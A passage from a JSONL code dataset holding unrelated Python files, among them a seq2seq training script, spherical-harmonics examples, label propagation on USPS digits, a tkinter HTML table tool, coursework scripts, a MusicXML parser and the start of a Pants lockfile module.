torch.full([target.shape[0], output.shape[1], output.shape[2]], pad_ind)\n new_out[:output.shape[0], :, :] = output\n return new_out\n\ndef eval_model(data_iterable, model, loss_func, pad_ind=0):\n # turn off dropouts, if you use them\n # model.eval()\n epoch_losses = []\n epoch_accuracies = []\n # speed things up by not calculating gradients, we aren't backpropping\n with torch.no_grad():\n for batch in tqdm(data_iterable):\n output = model.forward(batch.sent_1, None) \n output = pad_out(output, batch.sent_2[1:], pad_ind)\n loss = loss_func(output, batch.sent_2[1:])\n accuracy = calc_accuracy(output, batch.sent_2[1:], pad_ind=pad_ind)\n epoch_losses.append(loss)\n epoch_accuracies.append(accuracy)\n avg_loss = sum(epoch_losses)/len(epoch_losses)\n avg_accuracy = sum(epoch_accuracies)/len(epoch_accuracies)\n return avg_loss, avg_accuracy\n\ndef indices_to_words(phrase, SENTENCES):\n return [SENTENCES.vocab.itos[word] for word in phrase]\n\n\ndef eval_once(data_iterable, model, SENTENCES):\n with torch.no_grad():\n for batch in tqdm(data_iterable):\n output = model.forward(batch.sent_1, None)\n _, preds = output.max(1)\n print('sent_1', indices_to_words(batch.sent_1, SENTENCES))\n print('sent_2', indices_to_words(batch.sent_2, SENTENCES))\n print('preds!', indices_to_words(preds, SENTENCES))\n\ndef train_main():\n train_iter, dev_iter, test_iter, SENTENCES = load()\n torch.save(SENTENCES.vocab.vectors, 'vectors.pth')\n\n PAD_IND = SENTENCES.vocab.stoi[PAD_TOK]\n\n model = Seq2Seq(HIDDEN_SIZE, SENTENCES)\n\n opt = torch.optim.Adadelta(model.parameters(), lr=LEARNING_RATE)\n\n # PERFORMANCE: change loss to softmax/cross-entropy loss?\n loss = torch.nn.CrossEntropyLoss(ignore_index=PAD_IND)\n # loss = torch.nn.MSELoss(ignore_index=SENTENCES.vocab.stoi[PAD_TOK])\n\n min_dev_loss = float('inf')\n\n start = time.time()\n for epoch in range(N_EPOCHS):\n training_loss, training_acc = train(train_iter, model, opt, loss,\n pad_ind=PAD_IND)\n dev_loss, dev_acc = eval_model(dev_iter, model, loss, pad_ind=PAD_IND)\n end = time.time()\n\n if dev_loss < min_dev_loss:\n min_dev_loss = dev_loss\n min_dev_acc = dev_acc\n torch.save(model.state_dict(), 'model.pth')\n\n print('Epoch {} | Elapsed: {:3.3}m'.format(epoch+1, (end - start) / 60))\n print(' Train Loss: {:.3}'.format(training_loss))\n print(' Train Acc: {:.3}'.format(training_acc))\n print(' Dev Loss: {:.3}'.format(dev_loss))\n print(' Dev Acc: {:.3}'.format(dev_acc))\n print()\n print('Total Elapsed Time: {:3.3}m'.format((end - start) / 60))\n print('Final Saved Dev Loss: {:.3}'.format(min_dev_loss))\n print('Final Saved Dev Acc: {:.3}'.format(min_dev_acc))\n\ndef load_main():\n print('loading data and vector embeddings')\n vectors = torch.load('vectors.pth')\n train_iter, dev_iter, test_iter, SENTENCES = load(train_batch_size=1)\n SENTENCES.vocab.vectors = vectors\n print('loaded data and vector embeddings')\n print('loading model from files')\n model = Seq2Seq(HIDDEN_SIZE, SENTENCES)\n model.load_state_dict(torch.load('model.pth'))\n model.eval()\n print('loaded model')\n #eval_once(dev_iter, model, SENTENCES) \n eval_once(train_iter, model, SENTENCES)\n # TODO: do predictions, print them, get accuracies\n\nif __name__ == '__main__':\n TRAIN = True\n if TRAIN:\n train_main()\n else:\n load_main()\n","sub_path":"lstm/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"167605246","text":"#!/usr/bin/env python\n\"\"\"\nThis script tests the different Spherical Harmonics Transforms on the Mars\ntopography data set\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nimport os\nimport sys\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../..\"))\nfrom pyshtools import shtools\n\n# set shtools plot style:\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../Common\"))\nfrom FigStyle import style_shtools\nmpl.rcParams.update(style_shtools)\n\n\n# ==== MAIN FUNCTION ====\n\ndef main():\n test_RealSpectralAnalysis()\n example()\n\n\ndef test_RealSpectralAnalysis():\n # ---- input parameters ----\n lmax = 5\n ls = np.arange(lmax + 1)\n mask = np.zeros((2, lmax + 1, lmax + 1), dtype=np.bool)\n for l in np.arange(lmax + 1):\n mask[:, l, :l + 1] = True\n mask[1, :, 0] = False\n\n print('\\n---- testing SHPower/DensityL, SHPowerSpectrum/Density ----')\n print('generating normal distributed coefficients with variance 1...')\n coeffs1 = np.random.normal(size=(2, lmax + 1, lmax + 1))\n coeffs1[np.invert(mask)] = 0.\n\n spec1 = np.array([shtools.SHPowerL(coeffs1, l) for l in ls])\n spec2 = shtools.SHPowerSpectrum(coeffs1)\n print('tot power computed with SHPowerL={:2.2f}'.format(np.sum(spec1)))\n print('tot power computed with SHPowerSpectrum={:2.2f}'.format(\n np.sum(spec2)))\n\n spec1 = np.array([shtools.SHPowerDensityL(coeffs1, l) for l in ls])\n spec2 = shtools.SHPowerSpectrumDensity(coeffs1)\n print('tot power computed with SHPowerDensityL={:2.2f}'.format(\n np.sum(spec1 * (2 * ls + 1))))\n print('tot power computed with SHPowerSpectrumDensity={:2.2f}'.format(\n np.sum(spec2 * (2 * ls + 1))))\n\n print('\\n---- testing SHCrossCrossPower/DensityL, ' +\n 'SHCrossCrossPowerSpectrum/Density ----')\n print('generating two sets of normal distributed coefficients ' +\n 'with variance 1...')\n coeffs2 = np.random.normal(size=(2, lmax + 1, lmax + 1))\n coeffs2[np.invert(mask)] = 0.\n\n spec1 = np.array([shtools.SHCrossPowerL(coeffs1, coeffs2, l) for l in ls])\n spec2 = shtools.SHCrossPowerSpectrum(coeffs1, coeffs2)\n print('tot cpower computed with SHCrossPowerL={:2.2f}'.format(\n np.sum(spec1)))\n print('tot cpower computed with SHCrossPowerSpectrum={:2.2f}'.format(\n np.sum(spec2)))\n\n spec1 = np.array([shtools.SHCrossPowerDensityL(coeffs1, coeffs2, l)\n for l in ls])\n spec2 = shtools.SHCrossPowerSpectrumDensity(coeffs1, coeffs2)\n print('tot cpower computed with SHCrossPowerDensityL={:2.2f}'.format(\n np.sum(spec1 * (2 * ls + 1))))\n print('tot cpower computed with SHCrossPowerSpectrumDensity={:2.2f}'\n .format(np.sum(spec2 * (2 * ls + 1))))\n\n print('\\n---- testing SHAdmitCorr and SHConfidence ----')\n admit, dadmit, corr = shtools.SHAdmitCorr(coeffs1, coeffs2)\n confidence = np.array([shtools.SHConfidence(l, corr[l]) for l in ls])\n print('admittance:', admit)\n print('admittance error:', dadmit)\n print('correlation:', corr)\n print('confidence:', confidence)\n\n# ==== PLOT POWER SPECTRA ====\n\n\ndef example():\n \"\"\"\n example that plots the power spectrum of Mars topography data\n \"\"\"\n # --- input data filename ---\n infile = os.path.join(os.path.dirname(__file__),\n '../../ExampleDataFiles/MarsTopo719.shape')\n coeffs, lmax = shtools.SHRead(infile, 719)\n lmax = coeffs.shape[1] - 1\n\n # --- plot grid ---\n grid = shtools.MakeGridDH(coeffs, csphase=-1)\n fig_map = plt.figure()\n plt.imshow(grid)\n\n # ---- compute spectrum ----\n ls = np.arange(lmax + 1)\n pspectrum = shtools.SHPowerSpectrum(coeffs)\n pdensity = shtools.SHPowerSpectrumDensity(coeffs)\n\n # ---- plot spectrum ----\n fig_spectrum, ax = plt.subplots(1, 1)\n ax.set_xscale('log')\n ax.set_yscale('log')\n ax.set_xlabel('degree l')\n ax.grid(True, which='both')\n\n ax.plot(ls[1:], pspectrum[1:], label='power per degree l')\n ax.plot(ls[1:], pdensity[1:], label='power per degree l and order m')\n\n ax.legend()\n\n fig_map.savefig('SHRtopography_mars.png')\n fig_spectrum.savefig('SHRspectrum_mars.png')\n print('mars topography and spectrum saved')\n\n # plt.show()\n\n# ==== EXECUTE SCRIPT ====\nif __name__ == \"__main__\":\n main()\n","sub_path":"examples/python/GlobalSpectralAnalysis/SHRealSpectralAnalysis.py","file_name":"SHRealSpectralAnalysis.py","file_ext":"py","file_size_in_byte":4386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"572566886","text":"## Import des bibliothèques nécessaires\nimport networkx as nx # Bibliothèques pour les graphes\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats import linregress\nfrom random import *\nfrom math import *\nimport matplotlib.image as mpimg\nfrom operator import add\nimport pickle\n\n\n\n## Données USPS\ndef load_usps(filename) :\n with open(filename ,\"r\") as f:\n f.readline()\n data = [ [float(x) for x in l.split()] for l in f if len(l.split())>2] \n tmp = np.array(data)\n return tmp[:,1:],tmp[:,0].astype(int)\n\ndef show_usps(data) : \n plt.imshow(data.reshape((16,16)),interpolation=\"nearest\",cmap=\"gray\")\n \n# load data\nfileroot = \"/Users/marieheurtevent/Desktop/Ponts/MachineLearning/Projet/USPS/USPS\"\nx_test, y_test = load_usps(fileroot + '_test.txt')\nx_train, y_train = load_usps(fileroot + '_train.txt')\n \ndef visual_ex() :\n rand_tab1 = np.array([randint(0,1000)%x_train.shape[0] for i in range (2)])\n rand_tab2 = np.array([randint(0,1000)%x_test.shape[0] for i in range (2)])\n \n plt.figure()\n plt.subplot(2,2,1)\n show_usps(x_train[rand_tab1[0]])\n plt.subplot(2,2,2)\n show_usps(x_train[rand_tab1[1]])\n plt.subplot(2,2,3)\n show_usps(x_test[rand_tab2[0]])\n plt.subplot(2,2,4)\n show_usps(x_test[rand_tab2[1]])\n plt.show()\n \n print(y_train[rand_tab1[0]],y_train[rand_tab1[1]],y_test[rand_tab2[0]],y_test[rand_tab2[1]])\n \nvisual_ex()\n\n\n# on ne prend que les images de 2 classes différentes\ndef usps_2classes(int1, int2, p) :\n x = np.concatenate((x_train,x_test))\n y = np.concatenate((y_train,y_test))\n index = np.sort(np.concatenate((np.where(y==int1)[0], np.where(y==int2)[0])))\n x = x[index]\n y = y[index]\n n = x.shape[0]\n s = int(n*p)\n return x[:s], y[:s], x[s:], y[s:]\n\n\nx_train12, y_train12, x_test12, y_test12 = usps_2classes(1,2, 0.1)\nstate = np.concatenate((y_train12,np.array([0]*len(y_test12))))\n\n\n\n################# Début de notre travail expérimental #########################\n\n\n## Premières fonctions\n# Affichage selon l'état des noeuds\ndef affichage(G, int1, int2):\n \"\"\" Affiche le graphe G en utilisant différentes couleurs selon l'état des noeuds\n Vert (\"1\"), bleu (sans label), rouge (\"2\")\"\"\"\n \n # Tableaux des noeuds dans chaque état\n state1 = [d[0] for d in G.nodes(data=True) if d[1]['state'] == int1]\n state2 = [d[0] for d in G.nodes(data=True) if d[1]['state'] == int2]\n stateWO = [d[0] for d in G.nodes(data=True) if d[1]['state'] == 0]\n\n # On s'assure que rien n'est affiché\n plt.clf()\n # Postionnement des noeuds\n pos = nx.spring_layout(G)\n # Affichage des noeuds\n nx.draw_networkx_nodes(G, pos, nodelist=state1, node_color='g', label=int1)\n nx.draw_networkx_nodes(G, pos, nodelist=state2, node_color='r', label=int2)\n nx.draw_networkx_nodes(G, pos, nodelist=stateWO, node_color='b', label=\"sans label\")\n # Affichage des liens\n nx.draw_networkx_edges(G, pos)\n # Affichage des labels\n nx.draw_networkx_labels(G, pos, labels=dict(zip(list(G.nodes()),list(G.nodes()))), fontsize = 8)\n # Légende\n plt.legend()\n # Affichage du nombre de noeuds dans chaque état\n print(\"Nombre de \", int1, \" = \", len(state1))\n print(\"Nombre de \", int2, \" = \", len(state2))\n print(\"Nombre sans label = \", len(stateWO))\n \n plt.show()\n \n\n# Create graph \ndef createG(Adj,states) : \n G = nx.from_numpy_matrix(Adj)\n nx.set_node_attributes(G, dict(zip(G.node(),list(states))),'state')\n return G\n \ndef createAdj(x_train12, x_test12, sigma) :\n x = np.concatenate((x_train12,x_test12))\n x2=np.dot(x,np.transpose(x))\n n = x.shape[0]\n Adj = np.zeros((n,n))\n for i in range (n) :\n for j in range (n) :\n #Adj[i][j] = sum((x[i] - x[j])**2)\n Adj[i][j] = x2[i][i] + x2[j][j] -2*np.dot(x[i],x[j])\n Adj = np.exp(-np.multiply(Adj,sigma))\n \n return Adj\n \n\ndef split(M,l,u):\n #Creation des sous-matrices\n M_ll=M[:l,:l]\n M_lu=M[:l,l:l+u]\n M_ul=M[l:l+u,:l]\n M_uu=M[l:l+u,l:l+u]\n return (M_ll, M_lu, M_ul, M_uu)\n\n\ndef labeliseG(Adj,states,l,u):\n d=np.sum(Adj,axis=1)\n D=np.diag(d)\n P=np.dot(np.linalg.inv(D),Adj)\n Adj_ll,Adj_lu,Adj_ul, Adj_uu=split(Adj,l,u)\n D_ll, D_lu, D_ul, D_uu = split(D,l,u)\n P_ll, P_lu, P_ul, P_uu = split(P,l,u)\n f_l=states[:l]\n #f_u=np.dot(np.linalg.inv(D_uu-Adj_uu),Adj_ul)\n I=np.eye(u)\n f_u=np.dot(np.linalg.inv(I-P_uu),P_ul)\n f_u=np.dot(f_u,f_l)\n return (np.concatenate((f_l,f_u)))\n\ndef plotErrorSigma(x_train12, x_test12, state) : \n Adj = createAdj(x_train12,x_test12,0.1)\n l=len(x_train12)\n u=len(x_test12)\n score=[]\n test_sigma_log=np.arange(-2.2,0.1,0.1)\n test_sigma=10**(test_sigma_log)\n for sigma in test_sigma :\n Adj = createAdj(x_train12, x_test12, sigma)\n statesChapeau = labeliseG(Adj,states,l,u)\n statesChapeau = np.where(statesChapeau>1.5, 2, 1)\n print(sum(statesChapeau[len(y_train12):] == y_test12)/len(y_test12)*100, \"%\") \n score.append(sum(statesChapeau[len(y_train12):] == y_test12)/len(y_test12)*100)\n plt.figure()\n plt.plot(test_sigma_log,score)\n plt.xlabel(\"log sigma\")\n plt.ylabel(\"Score\")\n plt.title(\"Score en fonction de sigma\")\n \ndef plotErrorP(x_train, x_test) : \n P = np.arange(0.1,0.5,0.1)\n Score = []\n for p in P :\n x_train12, y_train12, x_test12, y_test12 = usps_2classes(1,2, 0.1)\n state = np.concatenate((y_train12,np.array([0]*len(y_test12))))\n Adj = createAdj(x_train12,x_test12,0.1)\n l=len(x_train12)\n u=len(x_test12)\n score=[]\n test_sigma_log=np.arange(-1.2,0.1,0.1)\n test_sigma=10**(test_sigma_log)\n for sigma in test_sigma :\n Adj = createAdj(x_train12, x_test12, sigma)\n statesChapeau = labeliseG(Adj,states,l,u)\n statesChapeau = np.where(statesChapeau>1.5, 2, 1)\n print(sum(statesChapeau[len(y_train12):] == y_test12)/len(y_test12)*100, \"%\") \n score.append(sum(statesChapeau[len(y_train12):] == y_test12)/len(y_test12)*100)\n Score.append(max(score))\n plt.figure()\n plt.plot(P,Score)\n plt.xlabel(\"Proportion de train data vs. test data\")\n plt.ylabel(\"Score\")\n plt.title(\"Score en fonction de la proportion de train et test data\")\n\n\n\n\n\n\n\n\n","sub_path":"NewCode.py","file_name":"NewCode.py","file_ext":"py","file_size_in_byte":6346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"416057961","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 21 18:01:13 2019\n\n@author: anil durgam\n\"\"\"\nimport os\n \nhtml = \"\"\ndef table(x):\n\tglobal html\n\t\"\"\" Create table with data in a multiline\n\tstring as first argument x)\"\"\"\n\thtml = \"\"\n\thtml += \"\"\n\tfor line in x.splitlines():\n\t\tfor n in line.split():\n\t\t\thtml += f\"\"\n\t\thtml += \"\"\n\thtml += \"
    {n}
    \"\n\treturn html\n \ndef create(a):\n\ttab = table(text.get(\"1.0\", tk.END))\n\ttext.delete(\"1.0\", tk.END)\n\ttext.insert(\"1.0\", tab)\n\tlabel['text'] = \"Now you can copy the html code for the table (ctrl + a)\"\n \ndef save_html():\n\tif html != \"\":\n\t\twith open(\"table.html\", \"w\") as file:\n\t\t\tfile.write(text.get(\"1.0\", tk.END))\n \ndef show_html():\n\tif os.path.exists(\"table.html\"):\n\t\tos.startfile(\"table.html\")\n \ndef convert_to_html():\n\thtml = table(text.get(\"1.0\",tk.END))\n\tclear()\n\ttext.insert(\"1.0\", html)\n \ndef clear():\n\ttext.delete(\"1.0\", tk.END)\n \nimport tkinter as tk\nroot = tk.Tk()\nroot.title(\"Html table converter\")\nlabel = tk.Label(root, text=\"Insert data here separated by space and press Ctrl+c to convert to html table:\")\nlabel.pack()\ntext = tk.Text(root)\ntext.pack()\ntext.bind(\"\", create)\ntext.focus()\n# create a toplevel menu \nmenubar = tk.Menu(root)\nmenubar.add_command(label=\"Convert - crtl+c |\", command=convert_to_html)\nmenubar.add_command(label=\"Save |\", command=save_html)\nmenubar.add_command(label=\"Show |\", command=show_html)\nmenubar.add_command(label=\"Clear screen |\", command=clear)\n# display the menu\nroot.config(menu=menubar)\nroot.mainloop()","sub_path":"EXAMPLES/tksheet_example2.py","file_name":"tksheet_example2.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"35934975","text":"\"\"\"\r\nAssignment:\r\nUse repeated division by 2 to write the number 29(base-10) in binary notation.\r\n\r\nNotes:\r\nSuppose a is a non-negative integer.\r\nDivide a by 2 using the quotient-remainder theorem to obtain a quotient q[0] and a remainder r[0].\r\nIf the quotient is non-zero, divide by 2 again to obtain a quotient q[1] and a remainder r[1].\r\nContinue until a quotient of 0 is obtained.\r\nAt each stage, the remainder must be less than the divisor (2).\r\nEach remainder is always either 0 or 1.\r\n\r\nExample:\r\n 38/2: q[0] = 16, r[0] = 0\r\n 16/2: q[1] = 8, r[1] = 0\r\n 8/2: q[2] = 4, r[2] = 0\r\n 4/2: q[3] = 2, r[3] = 0\r\n 2/2: q[4] = 1, r[4] = 0\r\n 1/2: q[5] = 0, r[5] = 1\r\n\r\nVariables:\r\n\r\nuser_input = user input\r\ninput_div = quotient of division\r\ninput_rem = remainder from division\r\n\r\nTablemates/Groupmates:\r\nPedro, Jin\r\n\"\"\"\r\n\r\n\r\nclass BinaryConverter:\r\n def __init__(self):\r\n self.iterations = 0\r\n self.binary_link_circuit = []\r\n\r\n def binary_divaido(self, user_input):\r\n\r\n # Divide user_input by 2, floor/integer division (not floating point.)\r\n input_div = user_input // 2\r\n\r\n \"\"\"\r\n Find remainder by subtracting 2 * input_div from user_input\r\n i.e. If user_input was 5:\r\n input_div = 5 // 2 # input_div = 2\r\n input_rem = 5 - (2 * input_div) # input_rem = 1\r\n \"\"\"\r\n input_rem = user_input - (input_div * 2)\r\n\r\n self.binary_link_circuit.append(input_rem)\r\n\r\n self.iterations += 1\r\n\r\n # Evaluate if input_div == 0. If true, recursion.\r\n if input_div == 0:\r\n return self.binary_link_circuit\r\n else:\r\n return self.binary_divaido(input_div)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n bc = BinaryConverter()\r\n user_in = int(input(\"Please enter a numerical value: \"))\r\n result = bc.binary_divaido(user_in)\r\n clean_result = \"\"\r\n for rem in reversed(range(len(result))):\r\n clean_result += str(result[rem])\r\n print(f\"Entered Value: {user_in}\\N{SUBSCRIPT ONE}\\N{SUBSCRIPT ZERO}\\n\"\r\n f\"Array: {result}\\n\"\r\n f\"Result: {clean_result}\\N{SUBSCRIPT TWO}\")\r\n","sub_path":"BinaryConverter_CSIS_240_6160.py","file_name":"BinaryConverter_CSIS_240_6160.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"517282889","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\ndef merge_sort_with_swaps(arr, swaps):\n n = len(arr)\n if n <= 1:\n return arr, swaps\n\n # larger cases\n p1, s1 = merge_sort_with_swaps(arr[:n//2], 0)\n p2, s2 = merge_sort_with_swaps(arr[n//2:], 0)\n\n more_swaps = 0\n i1 = 0\n i2 = 0\n n1 = len(p1)\n n2 = len(p2)\n\n # count inversions\n while i1 < n1 or i2 < n2:\n if i1 < n1 and i2 < n2:\n if p1[i1] <= p2[i2]:\n i1 += 1\n else:\n more_swaps += n1 - i1\n i2 += 1\n else:\n break\n\n return sorted(arr), swaps + s1 + s2 + more_swaps\n\n\n# Complete the countInversions function below.\ndef countInversions(arr):\n _, swaps = merge_sort_with_swaps(arr, 0)\n return swaps\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n t = int(input())\n\n for t_itr in range(t):\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n result = countInversions(arr)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n\n\n\"\"\"\ntake sorted array O(nlogn)\ncompare elements in sorted and arr\nfor each element e,\n perform k swaps to get e in arr into the correct position according to sorted\n add k to the running total, and move onto the next element\n\nO(n^2)\n\"\"\"\n\n\"\"\"\nswaps are something that sorting inherently does\nwe need to implement sorting ourselves to keep track of a counter \n\"\"\"","sub_path":"HackerRank/ctci_merge_sort.py","file_name":"ctci_merge_sort.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"245713807","text":"#!/usr/bin/env python\nimport csv\n\nwith open('DATA/airport_boardings.csv') as boardings_in:\n rdr = csv.reader(boardings_in)\n headers = next(rdr)\n for name, code, rank2001, total2001, rank2010, total2010, rank2011, total, pct_change1, pct_change2 in rdr:\n print(code, rank2010)\nprint()\n\nwith open('DATA/knights.txt') as knights_in:\n rdr = csv.reader(knights_in, delimiter=\":\")\n for row in rdr:\n print(row)\nprint()\n\ndata = []\nwith open('DATA/airport_boardings.csv') as boardings_in:\n rdr = csv.DictReader(boardings_in)\n for row in rdr:\n data.append(row)\n# print(row['Code'], row['2010 Rank'])\n\nprint(data[0])\nprint(data[-1])\n\nprint()\n","sub_path":"read_airport_csv.py","file_name":"read_airport_csv.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"534069635","text":"import os\nimport csv\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nprint(dir_path)\nos.chdir(dir_path)\n\nelection_data = os.path.join('Resources', 'election_data.csv')\nprint(election_data)\n\nprint(\"Election Results\")\nprint(\"-----------------------\")\n\ntotalVotes = 0\ncandidates = []\ncandidateVotes = []\n\nwith open(election_data, \"r\", encoding=\"utf-8\") as csvfile:\n csvReader = csv.reader(csvfile,delimiter=\",\")\n \n next(csvfile)\n \n for row in csvReader:\n totalVotes = totalVotes + 1 #for total votes\n \n #Candidate List\n candidateVotes.append(row[2])\n [candidates.append(x) for x in candidateVotes if x not in candidates]\n\n #Number of votes per candidate\n khanCount = candidateVotes.count(candidates[0])\n correyCount = candidateVotes.count(candidates[1])\n liCount = candidateVotes.count(candidates[2])\n otooleyCount = candidateVotes.count(candidates[3])\n\n#Percentage Won\n #khanPercent = round((khanCount) / (totalVotes), 3) * 100\n khanPercent = (khanCount) / (totalVotes) * 100\n correyPercent = (correyCount) / (totalVotes) * 100\n liPercent = (liCount) / (totalVotes) * 100\n otooletPercent = (otooleyCount) / (totalVotes) * 100\n\nvotePercent = [khanPercent, correyPercent, liPercent, otooletPercent]\nvoteCount = [khanCount, correyCount, liCount, otooleyCount]\n\nwinner = max(voteCount)\nwinnerIndex = voteCount.index(winner)\n\n#print(votes) \n#print(khanCount)\n#print(candidateVotes)\n#print(voteCount)\n#print(candidates)\nprint(f\"Total Votes: {totalVotes}\")\nprint(\"-----------------------\")\nprint(f'{candidates[0]}: {(\"%.3f\" % votePercent[0])}% ({voteCount[0]})')\nprint(f'{candidates[1]}: {(\"%.3f\" % votePercent[1])}% ({voteCount[1]})')\nprint(f'{candidates[2]}: {(\"%.3f\" % votePercent[2])}% ({voteCount[2]})')\nprint(f'{candidates[3]}: {(\"%.3f\" % votePercent[3])}% ({voteCount[3]})')\nprint(\"-----------------------\")\nprint(f'Winner: {candidates[winnerIndex]}')\nprint(\"-----------------------\")\n\noutput_path = os.path.join(\"analysis\", \"election_results.txt\")\n\nwith open(output_path, 'w') as file:\n file.write('Election Results\\n')\n file.write(\"-----------------------\\n\")\n file.write(f\"Total Votes: {totalVotes}\\n\")\n file.write(\"-----------------------\\n\")\n file.write(f'{candidates[0]}: {(\"%.3f\" % votePercent[0])}% ({voteCount[0]})\\n')\n file.write(f'{candidates[1]}: {(\"%.3f\" % votePercent[1])}% ({voteCount[1]})\\n')\n file.write(f'{candidates[2]}: {(\"%.3f\" % votePercent[2])}% ({voteCount[2]})\\n')\n file.write(f'{candidates[3]}: {(\"%.3f\" % votePercent[3])}% ({voteCount[3]})\\n')\n file.write(\"-----------------------\\n\")\n file.write(f'Winner: {candidates[winnerIndex]}\\n')\n file.write(\"-----------------------\")","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"345876421","text":"import xml.etree.ElementTree as ET\nimport os\n\ndef getAlter(alter): #for flats and sharps\n\tif alter == '1':\n\t\talter = '#'\n\telif(alter == '-1'):\n\t\talter = 'b'\n\telif(alter == '2'):\n\t\talter = 'x'\n\telif(alter == '-2'):\n\t\talter = 'y'\n\treturn alter\n\ndef same(st): #for notes representing the same thing\n\tif(st == 'Db' or st == 'Bx'):\n\t\tst = 'C#'\n\telif(st == 'Eb' or st == 'Fy'):\n\t\tst = 'D#'\n\telif(st == 'E#' or st == 'Gy'):\n\t\tst = 'F'\n\telif(st == 'Fb' or st == 'Dx'):\n\t\tst = 'E'\n\telif(st == 'Gb' or st == 'Ex'):\n\t\tst = 'F#'\n\telif(st == 'Ab'):\n\t\tst = 'G#'\n\telif(st == 'Bb' or st == 'Cy'):\n\t\tst = 'A#'\n\telif(st == 'B#' or st == 'Dy'):\n\t\tst = 'C'\n\telif(st == 'Cb' or st == 'Ax'):\n\t\tst = 'B'\n\telif(st == 'Ey' or st == 'Cx'):\n\t\tst = 'D'\n\telif(st == 'Ay' or st == 'Fx'):\n\t\tst = 'G'\n\telif(st == 'By' or st == 'Gx'):\n\t\tst = 'A'\n\treturn st\n\nf_part1 = open('part1', 'w')\nf_part2 = open('part2', 'w')\ncnt = 0\nfor file in os.listdir('/home/vasudha/TeamCFSM/data/'):\n\tprint(file)\n\tpath = os.path.join('/home/vasudha/TeamCFSM/data/', file)\n\tprint(cnt)\n\tcnt = cnt+1\n\ttree = ET.parse(path)\n\troot = tree.getroot()\n\n\tpart = root.find('part')\n\n\tmeasures = part.findall('measure')\n\tattributes = measures[0].find('attributes')\n\tdiv = int(attributes.find('divisions').text)\n\tbasic_unit = 64\n\tdur_unit = basic_unit/(4*div)\n\t\n\tfor i in range(0,len(measures)):\n\t\tflag = 0\n\t\tmeasure = measures[i]\n\t\tl = list(measures[i].iter())\n\t\tbackup = measures[i].find('backup')\n\t\tnotes = measure.findall('note')\n\t\tif notes is None: continue\n\t\tif backup is not None:\n\t\t\tidx = l.index(backup) #get index of backup tag\n\t\telse: flag = 1\n\t\tj = 0\n\t\t#for melody line\n\t\twhile(j < len(notes) and (flag == 1 or l.index(notes[j]) < idx)):\n\t\t\tif len(notes[j].findall('rest')) == 1:\n\t\t\t\ttemp = int(notes[j].find('duration').text)\n\t\t\t\ttemp = temp*dur_unit\n\t\t\t\tfor k in range(0, temp):\n\t\t\t\t\tf_part1.write('rest')\n\t\t\t\t\tf_part1.write(' ')\n\t\t\telse: #is a note\n\t\t\t\ttemp = int(notes[j].find('duration').text)\n\t\t\t\ttemp = temp*dur_unit\n\t\t\t\t\n\t\t\t\tif notes[j].find('pitch').find('alter') is not None:\n\t\t\t\t\talter = getAlter(notes[j].find('pitch').find('alter').text)\t\t\t\t\n\t\t\t\t\tst = notes[j].find('pitch').find('step').text + alter\n\t\t\t\t\tst = same(st)\n\t\t\t\t\tst = st + notes[j].find('pitch').find('octave').text\n\t\t\t\telse:\n\t\t\t\t\tst = notes[j].find('pitch').find('step').text + notes[j].find('pitch').find('octave').text\n\t\t\t\twhile(j None:\n super().register_options(register)\n register(\n \"--resolve\",\n type=list,\n member_type=str,\n advanced=False,\n help=(\n \"Only generate lockfiles for the specified resolve(s).\\n\\n\"\n \"Resolves are the logical names for the different lockfiles used in your project. \"\n \"For your own code's dependencies, these come from the option \"\n \"`[python].experimental_resolves_to_lockfiles`. For tool lockfiles, resolve \"\n \"names are the options scope for that tool such as `black`, `pytest`, and \"\n \"`mypy-protobuf`.\\n\\n\"\n \"For example, you can run `./pants generate-lockfiles --resolve=black \"\n \"--resolve=pytest --resolve=data-science` to only generate lockfiles for those \"\n \"two tools and your resolve named `data-science`.\\n\\n\"\n \"If you specify an invalid resolve name, like 'fake', Pants will output all \"\n \"possible values.\\n\\n\"\n \"If not specified, Pants will generate lockfiles for all resolves.\"\n ),\n )\n register(\n \"--custom-command\",\n advanced=True,\n type=str,\n default=None,\n help=(\n \"If set, lockfile headers will say to run this command to regenerate the lockfile, \"\n \"rather than running `./pants generate-lockfiles --resolve=` like normal.\"\n ),\n )\n\n @property\n def resolve_names(self) -> tuple[str, ...]:\n return tuple(self.options.resolve)\n\n @property\n def custom_command(self) -> str | None:\n return cast(\"str | None\", self.options.custom_command)\n\n\n# --------------------------------------------------------------------------------------\n# Generic lockfile generation\n# --------------------------------------------------------------------------------------\n\n\n@dataclass(frozen=True)\nclass PythonLockfile:\n digest: Digest\n resolve_name: str\n path: str\n\n\n@dataclass(frozen=True)\nclass PythonLockfileRequest:\n requirements: FrozenOrderedSet[str]\n interpreter_constraints: InterpreterConstraints\n resolve_name: str\n lockfile_dest: str\n # Only kept for 